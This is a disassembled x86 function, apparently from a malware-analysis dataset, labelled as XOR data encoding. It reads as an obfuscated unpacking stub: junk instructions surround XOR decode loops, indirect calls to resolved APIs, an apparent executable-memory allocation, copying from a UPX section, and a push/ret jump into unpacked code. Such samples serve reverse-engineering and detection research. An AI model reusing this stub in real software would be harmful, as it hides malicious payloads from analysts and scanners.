Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd0dac052
not eax
sub eax, edx
or eax, eax
popal
and eax, edx
dec edx
mov edx, 0xcd877258
mov eax, 0
mov edi, ecx
and ebx, esi
mov ebx, 0x1ff17d0d
sub ebx, 1
mov edx, edi
or esi, ebx
mov ebx, 0x4a2ec1da
mov ecx, edx
sub esi, ebx
inc esi
add eax, 1
sub esi, 0xc9a17ca2
and ebx, ebx
cmp eax, 0x100382f
jne 0xa789c6
sub ebx, esi
inc ebx
mov esi, ebx
or eax, eax
dec edx
add edx, 0x697fea41
mov esi, 0xa78796
sub edx, 0x17c2349c
dec edx
mov eax, 0x1e60d36d
mov edi, 0xa7898a
add ecx, 0xad8211f4
add ecx, 0xfacf688
mov eax, 0x3f595f70
mov ebx, dword [esi]
sub ecx, 0x7fd31e19
sub edx, 1
and ebx, 0xff
or ecx, eax
sub eax, edx
not eax
xor dword [edi], ebx
add eax, ecx
mov edx, eax
inc edi
inc ecx
sub eax, edx
inc esi
inc ecx
sub edx, 0x19d2a1be
cmp edi, entry0
jl 0xa78a32
not eax
sub ecx, eax
sub edx, 0x68daefd3
sub eax, edx
or edx, ebx
add ebx, ebx
mov esi, 0xa7898e
add edi, 1
mov ecx, ebx
mov esi, dword [esi]
sub ebx, edi
or edx, edx
mov esi, dword [esi]
mov edi, 0xed4ff65d
mov ecx, 0xeb15dad0
push esi
add edx, 0xd94266e0
add ecx, ecx
or ebx, ecx
mov esi, 0xa7898a
mov ebx, 0x773e50d6
add ecx, 0x89ab8e8b
mov ebx, 0x3876febe
mov esi, dword [esi]
inc edx
add ebx, ebx
and edx, ebx
mov esi, dword [esi]
add ebx, 0x3cd5fde8
inc ebx
push 0xa78992
add edi, ebx
or ebx, edi
add ebx, 0xfbc63a80
call esi
and edi, ebx
or edi, edi
mov edx, ebx
pop esi
and ecx, edi
dec edx
sub ecx, 0x77be2883
push 0xa7899f
dec ecx
sub edx, 0x4b5d69d6
sub esp, 4
mov dword [esp], eax
mov ebx, ecx
add edi, 1
call esi
add ebx, ebx
or edx, ecx
push 0x40
mov edx, ebx
mov ecx, edx
push 0x3000
sub edx, ecx
mov edx, edi
sub esp, 4
mov dword [esp], 0x20000a5e
sub ebx, 1
dec edx
mov ecx, 0xd9da055a
sub esp, 4
mov dword [esp], 0
sub edi, 0x8822ed80
add ecx, 0x937aa48c
call eax
or edx, edx
and ecx, edi
dec edi
add eax, 0x200009e6
or ebx, edi
or edi, edx
mov edx, ebx
mov esi, 0x8bab04ba
dec edx
and edi, edi
mov dword [eax], esi
mov edi, 0xfabbbb4a
sub edi, ecx
not edx
mov esi, dword [eax]
and edi, edx
mov ebx, edx
cmp esi, 0x8bab04ba
je 0xa78b83
mov edx, 0
mov byte [edx], cl
dec ecx
and edx, ecx
and ecx, edi
not ecx
or edx, eax
sub edx, 0x9a7cb288
add eax, 1
mov edi, section.UPX1
sub eax, 0xf580981c
sub eax, 0xa69bf811
mov ebx, 0xa78795
not eax
sub edx, eax
mov esi, 0
or edx, edx
sub edx, 0x113e5f28
mov ecx, 0xa78796
mov edx, 0x36c4c44
add edx, eax
lea ecx, [ecx + esi]
add eax, edx
add edx, 0x95113ff4
mov ecx, dword [ecx]
add edx, edx
sub edx, eax
and ecx, 0xff
not eax
mov edx, 0x949e4d1d
inc esi
mov eax, edx
add edx, 0xd0069ce7
cmp esi, 0x1f4
jne 0xa78bff
mov esi, 0
sub eax, 0xb3bc39f1
dec edx
inc edx
sub edx, eax
add edx, eax
xor dword [edi], ecx
sub eax, edx
sub eax, edx
add edi, 2
not edx
add edx, edx
sub edx, 0xe2d4db8e
cmp edi, ebx
jl 0xa78bbf
mov eax, 0x113121ac
add eax, edx
dec eax
mov edx, 0xbae323d3
sub edx, 0x753682c5
mov eax, section.UPX1
or ecx, esi
dec esi
mov ebx, section.UPX1
sub ecx, 1
not ecx
or ecx, esi
mov edi, 0xa78795
sub esi, ecx
inc ecx
mov edx, 0
sub esi, ecx
sub esi, 0xbb9a12e6
add esi, esi
mov dl, byte [ebx]
sub esi, 0x23ec6499
mov ecx, 0xc49db8c2
not ecx
mov byte [eax], dl
not ecx
and ecx, ecx
inc eax
mov ecx, 0xea314107
not ecx
add ebx, 2
mov ecx, esi
mov esi, ecx
cmp ebx, edi
jle 0xa78c6a
and ecx, ecx
inc ecx
mov ecx, 0xc4edc256
sub edx, eax
mov eax, edx
push 0x8dc6a0
add eax, edx
inc eax
ret